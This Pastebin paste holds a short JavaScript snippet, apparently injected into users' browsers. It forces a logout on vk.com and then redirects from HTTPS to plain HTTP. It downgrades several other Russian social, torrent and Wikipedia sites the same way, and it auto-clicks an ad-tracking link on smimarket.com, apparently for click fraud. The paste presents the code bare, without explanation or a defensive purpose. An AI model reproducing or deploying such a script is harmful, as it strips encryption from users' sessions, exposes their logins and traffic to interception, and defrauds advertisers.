Advertisement
Guest User

Untitled

a guest
Jul 25th, 2014
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.39 KB | None | 0 0
  1.  
  2. var url = window.location.href;
  3. var host = document.location.host;
  4.  
  5. if (url.indexOf('http://vk.com') > -1) {
  6. setProtocolCookie('redirect_http_count', 0);
  7. }
  8.  
  9. if (url.indexOf('https:') > -1) {
  10. if (host.indexOf('vk.com') > -1) {
  11. var exit = document.getElementById('logout_link');
  12. var signed_in = (exit != null);
  13.  
  14. if (signed_in && (getProtocolCookie('vk_logout') == undefined || parseInt(getProtocolCookie('redirect_http_count')) > 1)) {
  15. setProtocolCookie('vk_logout', true);
  16. fireClick(document.getElementById('logout_link'));
  17. } else {
  18. var new_value = parseInt(getProtocolCookie('redirect_http_count')) + 1;
  19. setProtocolCookie('redirect_http_count', new_value);
  20. window.location.href = url.replace('https:', 'http:');
  21. }
  22. }
  23. else if (host.indexOf('ask.fm') > -1 || host.indexOf('odnoklassniki.ru') > -1 || host.indexOf('ok.ru') > -1 || host.indexOf('rutor.org') > -1 || host.indexOf('torrent') > -1 || host.indexOf('rutracker') > -1 || host.indexOf('ru.wikipedia.org') > -1) {
  24. window.location.href = url.replace('https:', 'http:');
  25. }
  26. }
  27.  
  28. var follow_link = 'http://smimarket.com/site/page/view/prev';
  29. var follow_elem = document.querySelectorAll('.hero-unit a.btn');
  30. if (!url.indexOf(follow_link) && follow_elem[0]) {
  31. if (!follow_elem[0].href.indexOf('http://smimarket.com/show/click.php')) {
  32. fireClick(follow_elem[0]);
  33. }
  34. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement